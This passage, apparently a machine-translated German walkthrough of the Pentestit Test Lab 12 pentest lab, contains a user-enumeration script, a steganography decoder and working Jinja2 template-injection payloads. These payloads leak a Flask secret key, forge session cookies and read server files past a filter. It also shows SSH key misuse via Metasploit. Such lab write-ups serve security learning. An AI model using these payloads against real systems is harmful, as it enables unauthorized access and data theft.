"Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}] url = "http://172.16.1.20:8000/recover_password" l = len(list_user) valid=[] for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i]) print(valid)
Also finden wir Medwedew.
Stellen Sie sein Passwort wieder her. Das sofortige Übergeben funktioniert nicht, da "+" als Leerzeichen und "&" als Trennzeichen erkannt wird. Wir verschlüsseln in URLencode und nehmen das Token.
Bild-Token
Also haben wir Bilder für Stego gefunden. Lass es uns richtig machen. Mit file, binwalk und einem Hex-Editor überprüfen wir Dateien auf Anhänge. Sie sind daher nicht wir werden das stegsolve Dienstprogramm analysieren. Im größten Bild finden wir die Dropdown-Bits an den Positionen 2 und 1 RGB. Dies ist die LSB-Methode.
Außerdem habe ich nichts erhalten, da ich mich nicht in Stegsolve gedreht habe. Muss Griffe besser verstehen. Verwenden Sie dazu die Python-PIL-Bibliothek zum Arbeiten mit Bildern. Wir sehen uns das Bild an und sehen, dass die Pixel drei Werte annehmen - 0, 255 und 249. Erstellen wir eine binäre Karte des Bildes. Da 0 und 255 normale Werte für Barcodes sind, schreiben wir stattdessen "0" und statt 249 "1". Als nächstes werden wir versuchen, unsere Karte in 16 Zeichen aufzuteilen und alle Zeilen, die nur 16 Nullen enthalten, daraus zu entfernen. Schreiben Sie als Nächstes die Position einer Einheit aus jeder Zeile auf und übersetzen Sie sie von einer hexadezimalen Form in eine Zeichenfolge, um ein Token zu erhalten.Code from PIL import Image import binascii image = Image.open('./support4.png') width, height = image.size pix = image.load() r='' for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0' token='' for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2] print(token)
Mein Zeichen
Also Es gibt auch my.test.lab in der Datei / etc / hosts, wo wir noch nicht hingegangen sind. Autorisierungsformular. Wir haben Info-, Sviridov- und Medwedew-Benutzer. Melden Sie sich erfolgreich bei info an. Es gibt eine Suchleiste. Auf Anfrage erhalten wir fünf Ponybilder. Es gibt nichts, wir werden scannen. Wenn wir Wapiti benutzen, werden wir gebannt. Bei einigen Abfragen zum Überprüfen von SQL-inj und XSS erhalten wir auch ein Verbot. Wir senden eine einfache Anfrage zum Testen von SSTI: {{7 * 7}}. Und der Code wurde ausgeführt, da wir in der Antwort 49 erhalten haben. Es
bleibt zu bestimmen, welche Vorlagen-Engine auf dem Server verwendet wird. Dies ist erforderlich, um zu wissen, mit welcher Umgebung (Variablen, Funktionen, Konstanten usw.) gearbeitet werden soll. Dies kann leicht wie folgt durchgeführt werden.
Wir wissen bereits, dass es Jinja2 oder Twig ist. Daher senden wir die folgende Anfrage: {{7 * “7“}}. Wir bekommen eine positive Antwort. Dies ist die Jinja2-Python-Template-Engine, die durch die {{self}} -Anforderung leicht bestätigt werden kann.
Schauen wir uns die Konfigurationen an: {{config}}. Dort finden wir den geheimen Schlüssel, der das Token ist.
Token-API
Wir lernen aus der Dokumentation, dass jinja2 abhängig vom geheimen Schlüssel des Servers Cookies generiert. Um die Sicherheitsanfälligkeit auszunutzen, benötigen wir das Skript flask-session-cookie-manager . Wir müssen überprüfen, ob dieser geheime Schlüssel funktioniert. Dazu müssen wir versuchen, die Info-Benutzersitzung darauf zu entschlüsseln. Cookies werden frei entschlüsselt.
Da wir das Format von Cookies kennen, können wir uns jetzt als jeder Benutzer anmelden. Dazu müssen Sie auch Cookies generieren. Nach langen Fehlern bemerkte ich eine Korrelation zwischen dem mittleren Block und der Systemzeit. Wir ändern das Datum, bis der Beginn des mittleren Blocks übereinstimmt. 2060 erreicht. Generierte Token- und sviridov-Benutzer, aber es gibt nichts, daher habe ich beschlossen, für den Administrator zu generieren. Nach dem erfolgreichen Ersetzen von Cookies erhalten wir einige geheime Schlüssel von Benutzern, die sie nicht verstanden haben.
Die Suche nach RCE (Remote Code Execution) über SSTI dauert drei Tage. Tatsache ist, dass wir nur die auf dem Server geladenen Module und deren Funktionen bedienen können. Zunächst finden wir heraus, was Funktionen sind. Wir werden dies durch einen Flaschenkeks tun. {{"".__class__.__mro__[1].__subclasses__()}}
Wir fügen in die Cookies ein, aktualisieren die Seite und sehen, dass anstelle des Benutzernamens alle auf dem Server geladenen Python-Klassen angezeigt werden. Darunter befindet sich Popen, mit dem wir Dateien auf dem Server lesen können.
Jetzt bleibt es, die Datei entlang des Pfades / var / www / api / token zu lesen. Wir werden über den Index auf die Klasse zugreifen (für Popen ist es 94). Darin rufen wir die Funktion open auf, um die Datei zu öffnen (wir unterbrechen den Pfad zur Datei, andernfalls WAF-Filter) und lesen sie mit der Funktion read (). {{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}
Als Ausgabe erhalten wir die Datei als eine Reihe von Bytes, die wir kopieren, den Python-Interpreter öffnen und als Zeichenfolge einfügen. Als nächstes schreiben Sie diese Zeile in die Datei. Schauen wir uns den Dateityp im Dateidienstprogramm an. Dies ist das * tar.gz-Archiv. Wir öffnen und nehmen den Token.Admin-Token
Die letzte Aufgabe bleibt. Das Archiv speichert den Schlüssel für die Verbindung über ssh. In der SIEM-Analyse können Sie herausfinden, zu welchem Host eine Verbindung hergestellt werden soll.
Zunächst müssen Sie die Zugriffsrechte für den Schlüssel konfigurieren, da dies beim Verbinden überprüft wird (es sollte 600 sein). Dann verbinden wir uns, aber wir werden informiert, dass der Zugriff geschlossen ist und der Fehler im Schlüssel liegt.
Beim Anzeigen des Schlüsselformats stellen wir fest, dass der Inhalt nicht der vollständigen Datei entspricht. Dazu benötigen wir die Authentifizierungsinformationen, die wir beim Herstellen der Verbindung akzeptiert haben, und den SHA-Hash, der in SIEM verwendet werden kann.
Alte und neue Zertifikate Aber jetzt, wenn wir versuchen, unter Sviridov (er ist der Administrator) eine Verbindung herzustellen, wird uns gesagt, dass der Schlüssel nicht passt. Wir müssen alle Benutzer sortieren, die wir bereits haben.
Zum Testen des Schlüssels und der Benutzer verwenden wir das Metasploit-Framework-Modul - scanner / ssh / ssh_login_pubkey. Und wie Sie sehen können, ist dies der Benutzerschlüssel sidorov.
Suchen Sie im Token-Dateisystem. find | grep token
Überprüfen Sie anschließend die Rechte und übergeben Sie das Token.
Fazit
Das Pentestit Test Lab 12 hat also bestanden.
Ich möchte den Organisatoren dieses Labors ein großes Dankeschön sagen, aber einige Aufgaben betrafen eher CTF als Penetrationstests. Ich hoffe, dieser Artikel wird jemandem helfen, etwas Neues zu lernen und zu entdecken, und jemand wird an den Moment erinnert, als er selbst dieses Labor von Token zu Token durchlief. Jetzt warten wir auf den 13. ...Wir befinden uns in einem Telegrammkanal: einem
Kanal im Telegramm .